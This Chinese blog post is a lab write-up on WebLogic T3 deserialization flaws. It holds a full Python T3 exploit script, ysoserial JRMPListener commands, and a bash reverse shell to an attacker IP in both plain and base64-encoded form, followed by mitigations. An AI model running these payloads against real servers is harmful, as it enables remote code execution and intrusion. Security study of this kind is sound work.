WebLogic T3反序列化漏洞

前言

WebLogic的反序列化漏洞是一个经典的漏洞系列,原因就在于WebLogic在通信过程中使用T3协议传输数据,涉及到了序列化和反序列化操作。

T3协议概述

T3协议是Oracle的私有协议,所以公开的相关资料比较少,这里结合其他师傅的博客简单对T3协议进行一个简要分析。

T3协议是WebLogic的一种专有通信协议,在Weblogic中的RMI通信是使用T3协议实现的(一般的RMI通信使用的是JRMP协议)。

在T3协议中协议协商的协商阶段,会发送一个请求包头(handshake)用来表明这是一个T3协议,它负责定义数据包的基本结构和传输协议的版本信息。

客户端会首先发送下面的信息给weblogic服务器:

t3 12.2.3
AS:255
HL:19
nMS:10000000

使用Python模拟发送一个请求包的头:

import socket

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

Wireshark对它进行抓包:

可以看到服务器接收到信息后,会回复类似的消息:

HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN

响应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息,开始建立连接。

再协商完毕上面的信息后,客户端会向服务端发送自己的详细信息,这是一段二进制数据。在这段二进制流的前4bytes标识了本次请求的数据长度,然后直到遇到aced 0005序列化数据的标识之前,这部分内容被称为PeerInfo。

以这个PoC脚本( https://www.exploit-db.com/exploits/44553 )请求数据包为例:

aced 0005之后的就是实际传输的序列化数据。

关于T3协议更加详细的分析可以看这位师傅的博客:https://www.cnblogs.com/unicodeSec/p/14378757.html

T3反序列漏洞分析

前面提到WebLogic的RMI是通过T3协议实现的,在T3协议的传输过程中同样会进行序列化和反序列化的操作,所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

大部分的WebLogic的利用脚本都是使用python编写的,比如上面提到的那个PoC脚本。基本的思路都是替换WebLogic T3协议流中aced 0005部分为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。

除了由 Exploit Database 提供的利用脚本,还有国内其他师傅写的脚本:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

原理都是一样的,把生成的Payload替换掉原来的序列化的部分,但要保证T3协议格式仍然正确。

造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题,T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

借一张其他师傅博客的图:

中间的调用过程先不谈,导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。

这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话,就意味着它会获取任意的类的Class对象,这就有了可乘之机,可以轻易获取我们恶意的类的Class对象,从而造成反序列漏洞。

T3协议的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很类似。

到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发,比如第一个CVE-2017-3248,到后来的CVE-2018-2628它对上一个的绕过,之后还有CVE-2020-2555,CVE-2020-2883等漏洞。

漏洞复现

这里使用vulhub的CVE-2018-2628环境来复现T3协议反序列化命令执行漏洞。

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

环境搭建:使用 vulhub 搭建

cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d

通过nmap可以探测Weblogic的T3协议是否启用,以及版本号:

利用 ysoserial 的攻击流程都大同小异,首先使用JRMPListener开启一个JRMP服务监听,利用链这里选择CC1链。

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用 exp 脚本(python2脚本,python3运行报错),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

# 192.168.88.150 是靶机IP,7001是Weblogic端口

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

执行docker compose exec weblogic bash进入容器中,可见文件已成功创建:

除了RCE,还有反弹shell都是类似的操作。

首先,在kali中通过 nc 监听本地端口:

nc -lvvp 12345

接着准备反弹shell的代码:

bash -i >& /dev/tcp/192.168.88.128/12345 0>&1

由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地开启JRMP监听,监听本地2333端口,利用链依然使用CC1链:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

利用 exp 脚本,向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient

exp 脚本执行完成后,反弹shell成功:

修复措施

  • 关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

  • 更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

  • 更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

参考文章:
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
https://www.cnblogs.com/unicodeSec/p/14378757.html
https://www.freebuf.com/vuls/229140.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

热门相关:汉阙   独步仙尘   我的绝色美女房客   带着仙门混北欧   娇女种田,掌家娘子俏夫郎